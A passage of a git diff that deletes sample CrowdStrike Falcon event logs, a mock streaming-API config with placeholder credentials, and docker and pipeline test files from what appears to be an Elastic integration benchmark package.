files.","Severity":2,"SeverityName":"Low","FileName":"filename.exe","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path","CommandLine":"\"C:\\ProgramData\\file\\path\\filename.exe\" ","SHA256String":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","MD5String":"0ab1235adca04aef6239f5496ef0a5df","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"NA","ExecutablesWritten":[{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p","SensorId":"1abcd2345b8c4151a0cb45dcfbe6d3d0","IOCType":"hash_sha256","IOCValue":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","DetectId":"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719","LocalIP":"10.1.190.117","MACAddress":"54-ad-d4-d2-a8-0b","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false},"ParentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log deleted file mode 100644 index 90117e7174..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"TESTUSERID","UserIp":"175.16.199.1","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"TESTVALUE:ind:STRING123:456-123-654"}],"UTCTimestamp":1686839378,"Attributes":{"detection_id":"DETECTID:ind:TESTID:456-123-654"}}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log deleted file mode 100644 index 4c9af0cffd..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","eventCreationTime":1651174243000,"eventType":"XdrDetectionSummaryEvent","offset":34280810,"version":"1.0"},"event":{"Author":"CrowdStrike","DataDomains":"Identity,Network,Endpoint","Description":"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.","DetectId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc","EndTimeEpoch":1643317927664000000,"IPv4Addresses":"81.2.69.144,81.2.69.192","HostNames":"XDR-WIN10","Name":"Metasploit and brute force login attempt","PatternId":100011,"Severity":90,"SourceProducts":"Falcon,Corelight","SourceVendors":"CrowdStrike,Corelight","StartTimeEpoch":1643317697728000000,"TacticIds":"TA0001,TA0002","Tactics":"Initial Access,Execution","TechniqueIds":"T1566.001,T1203","Techniques":"Spearphishing Attachment,Exploitation for Client Execution","XdrType":"xdr"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml deleted file mode 100644 index 70aacaa240..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml +++ /dev/null @@ -1,20 +0,0 @@ -version: '2.3' -services: - crowdstrike-logfile: - image: alpine - volumes: - - ./sample_logs:/sample_logs:ro - - ${SERVICE_LOGS_DIR}:/var/log - command: /bin/sh -c "cp /sample_logs/* /var/log/" - crowdstrike-streaming: - image: docker.elastic.co/observability/stream:v0.18.0 - ports: - - 8080 - volumes: - - ./files:/files:ro - environment: - PORT: 8080 - command: - - http-server - - --addr=:8080 - - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml deleted file mode 100644 index f8f1d24680..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml +++ /dev/null @@ -1,75 +0,0 @@ -rules: - - path: /oauth2/token - methods: ["POST"] - query_params: - client_id: slightlysecretclientid - client_secret: totallysecretlientsecret - grant_type: client_credentials - request_headers: - Content-Type: - - "application/x-www-form-urlencoded" - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {{ minify_json ` - { - "access_token": "topsecretaccesstokenthatshouldnotbeleakedforabit", - "token_type": "Bearer" - } - `}} - - - path: /sensors/entities/datafeed/v2 - methods: ["GET"] - request_headers: - authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"] - query_params: - appId: nonsecretappid - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {{ minify_json ` - { - "resources": [ - { - "dataFeedURL": "http://svc-crowdstrike-streaming:8080/events", - "sessionToken": { - "token": "secretsessiontoken" - }, - "refreshActiveSessionURL": "http://svc-crowdstrike-streaming:8080/refresh", - "refreshActiveSessionInterval": 1800 - } - ] - } - `}} - - - path: /events - methods: ["GET"] - request_headers: - authorization: ["Token secretsessiontoken"] - query_params: - offset: null - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {"metadata":{"customerIDString":"abcabcabc22221","offset":1,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} - {"metadata":{"customerIDString":"abcabcabc22222","offset":2,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} - 400 - {"metadata":{"customerIDString":"abcabcabc22223","offset":3,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} - - - path: /refresh - methods: ["POST"] - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: '' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log deleted file mode 100644 index 1a403c955c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log +++ /dev/null @@ -1,277 +0,0 @@ -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1045, - "eventType": "RemoteResponseSessionStartEvent", - "eventCreationTime": 1582830734000, - "version": "1.0" - }, - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "StartTimestamp": 1582830734 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1046, - "eventType": "RemoteResponseSessionEndEvent", - "eventCreationTime": 1582830772000, - "version": "1.0" - }, - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "EndTimestamp": 1582830772 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 0, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581542950710, - "version": "1.0" - }, - "event": { - "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz", - "UserIp": "10.10.0.8", - "OperationName": "streamStarted", - "ServiceName": "Crowdstrike Streaming API", - "Success": true, - "UTCTimestamp": 1581542950, - "AuditKeyValues": [ - { - "Key": "APIClientID", - "ValueString": "1234567890abcdefghijklmnopqr" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "-1" - }, - { - "Key": "appId", - "ValueString": "siem-connector-v2.0.0" - }, - { - "Key": "eventType", - "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581543577147, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581543577147 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 2, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581545677554, - "version": "1.0" - }, - "event": { - "UserId": "bob@company.com", - "UserIp": "192.168.6.3", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581545677554 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 3, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1581546248000, - "version": "1.0" - }, - "event": { - "UserId": "chris@company.com", - "UserIp": "192.168.6.13", - "OperationName": "update_group", - "ServiceName": "groups", - "AuditKeyValues": [ - { - "Key": "group_id", - "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" - }, - { - "Key": "action_name", - "ValueString": "add_group_member" - } - ], - "UTCTimestamp": 1581546248 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 4, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601312140, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "requestResetPassword", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601312140, - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "alice@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 5, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601341730, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601341730 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 6, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601520236, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "changePassword", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601520236, - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "first.last@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 7, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601572362, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "userAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601572362 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 8, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601814754, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601814754 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 9, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601820289, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "selfAcceptEula", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601820289 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 10, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1581603262000, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "detection_update", - "ServiceName": "detections", - "AuditKeyValues": [ - { - "Key": "detection_id", - "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" - }, - { - "Key": "new_state", - "ValueString": "in_progress" - }, - { - "Key": "assigned_to", - "ValueString": "First Last" - }, - { - "Key": "assigned_to_uid", - "ValueString": "first.last@company.com" - } - ], - "UTCTimestamp": 1581603262 - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log deleted file mode 100644 index 0980bf0fb6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log +++ /dev/null @@ -1,94 +0,0 @@ -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 294564, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1582101000000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1536846339, - "ProcessEndTime": 0, - "ProcessId": 38684386611, - "ParentProcessId": 38682494050, - "ComputerName": "alice-laptop", - "UserName": "alice", - "DetectName": "Process Terminated", - "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "Severity": 4, - "SeverityName": "High", - "FileName": "explorer.exe", - "FilePath": "\\Device\\HarddiskVolume1\\Windows", - "CommandLine": "C:\\Windows\\Explorer.EXE", - "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", - "MD5String": "ac4c51eb24aa95b77f705ab159189e24", - "MachineDomain": "CORP-DOMAIN", - "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", - "SensorId": "7c808b4c8878433287eea53d4a8c3268", - "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", - "LocalIP": "192.168.12.51", - "MACAddress": "00-00-00-11-22-33", - "Tactic": "Malware", - "Technique": "Ransomware", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Prevention, process killed.", - "PatternDispositionValue": 16, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": true, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": false, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": false - } - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1824, - "eventType": "IncidentSummaryEvent", - "eventCreationTime": 1583295476766, - "version": "1.0" - }, - "event": { - "IncidentStartTime": 1583295228, - "IncidentEndTime": 1583295470, - "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "State": "open", - "FineScore": 1.2 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 22865, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1593186952000, - "version": "1.0" - }, - "event": { - "UserId": "Crowdstrike", - "UserIp": "", - "OperationName": "quarantined_file_update", - "ServiceName": "quarantined_files", - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "UTCTimestamp": 1593186952 - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log deleted file mode 100644 index 87070601c1..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log +++ /dev/null @@ -1,254 +0,0 @@ -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70689, - "eventType": "FirewallMatchEvent", - "eventCreationTime": 1595248906000, - "version": "1.0" - }, - "event": { - "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", - "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", - "Ipv": "ipv4", - "CommandLine": "", - "ConnectionDirection": "1", - "EventType": "FirewallRuleIP4Matched", - "Flags": { - "Audit": false, - "Log": false, - "Monitor": true - }, - "HostName": "TESTDEVICE01", - "ICMPCode": "", - "ICMPType": "", - "ImageFileName": "", - "LocalAddress": "10.37.60.194", - "LocalPort": "445", - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PID": "206158879910", - "PolicyName": "PROD-FW-Workstations-General", - "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", - "Protocol": "6", - "RemoteAddress": "10.37.60.21", - "RemotePort": "54952", - "RuleAction": "2", - "RuleDescription": "", - "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", - "RuleGroupName": "SMB Rules", - "RuleName": "Inbound SMB Block \u0026 Log Private", - "RuleId": "4877172638743447345", - "Status": "", - "Timestamp": "2020-07-20T12:41:44Z", - "TreeID": "" - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57181, - "eventType": "IncidentSummaryEvent", - "eventCreationTime": 1595005328414, - "version": "1.0" - }, - "event": { - "IncidentStartTime": 1595005316, - "IncidentEndTime": 1595005316, - "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", - "State": "open", - "FineScore": 0.1, - "LateralMovement": 0 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70509, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1595247970093, - "version": "1.0" - }, - "event": { - "UserId": "first.last@company.com", - "UserIp": "67.43.156.15", - "OperationName": "saml2Assert", - "ServiceName": "Crowdstrike Authentication", - "Success": true, - "UTCTimestamp": 1595247970, - "AuditKeyValues": [ - { - "Key": "trace_id", - "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" - }, - { - "Key": "actor_user", - "ValueString": "first.last@company.com" - }, - { - "Key": "actor_user_uuid", - "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" - }, - { - "Key": "actor_cid", - "ValueString": "123456a1ab1a12abc12ab1234abcd12a" - }, - { - "Key": "target_user", - "ValueString": "first.last@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70683, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1595248885000, - "version": "1.0" - }, - "event": { - "UserId": "Crowdstrike", - "UserIp": "", - "OperationName": "quarantined_file_update", - "ServiceName": "quarantined_files", - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "UTCTimestamp": 1595248885 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57217, - "eventType": "RemoteResponseSessionStartEvent", - "eventCreationTime": 1595006093000, - "version": "1.0" - }, - "event": { - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", - "HostnameField": "TESTDEVICE01", - "UserName": "first.last@company.com", - "StartTimestamp": 1595006093 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57269, - "eventType": "RemoteResponseSessionEndEvent", - "eventCreationTime": 1595006899000, - "version": "1.0" - }, - "event": { - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", - "HostnameField": "TESTDEVICE01", - "UserName": "first.last@company.com", - "EndTimestamp": 1595006899, - "Commands": [ - "cd \\Program Files (x86)\\Symantec", - "ls .", - "cd \\Program Files (x86)", - "ls .", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "restart", - "restart -Confirm" - ] - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57047, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1595002291000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1595002290, - "ProcessEndTime": 1595002290, - "ProcessId": 663790158277, - "ParentProcessId": 627311656469, - "ComputerName": "TESTDEVICE01", - "UserName": "First.last", - "DetectName": "NGAV", - "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "Severity": 2, - "SeverityName": "Low", - "FileName": "filename.exe", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", - "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", - "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "MD5String": "0ab1235adca04aef6239f5496ef0a5df", - "SHA1String": "0000000000000000000000000000000000000000", - "MachineDomain": "NA", - "ExecutablesWritten": [ - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - } - ], - "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", - "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", - "IOCType": "hash_sha256", - "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", - "LocalIP": "10.1.190.117", - "MACAddress": "54-ad-d4-d2-a8-0b", - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "PatternDispositionValue": 2304, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": false, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": true, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": true, - "RegistryOperationBlocked": false, - "CriticalProcessDisabled": false, - "BootupSafeguardEnabled": false, - "FsOperationBlocked": false - }, - "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", - "ParentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe" - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml deleted file mode 100644 index 60eecfd47f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml +++ /dev/null @@ -1,15 +0,0 @@ -multiline: - first_line_pattern: "^{" -fields: - tags: - - preserve_original_event -numeric_keyword_fields: - - crowdstrike.event.ExecutablesWritten.Timestamp - - crowdstrike.event.MobileAppsDetails.IsBeingDebugged - - crowdstrike.event.MobileAppsDetails.IsContainerized - - crowdstrike.event.NetworkAccesses.AccessTimestamp - - crowdstrike.event.NetworkAccesses.AccessType - - crowdstrike.event.NetworkAccesses.ConnectionDirection - - crowdstrike.event.NetworkAccesses.IsIPV6 - - crowdstrike.event.NetworkAccesses.LocalPort - - crowdstrike.event.NetworkAccesses.RemotePort diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log deleted file mode 100644 index e3f3350c38..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log +++ /dev/null @@ -1,10 +0,0 @@ -{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T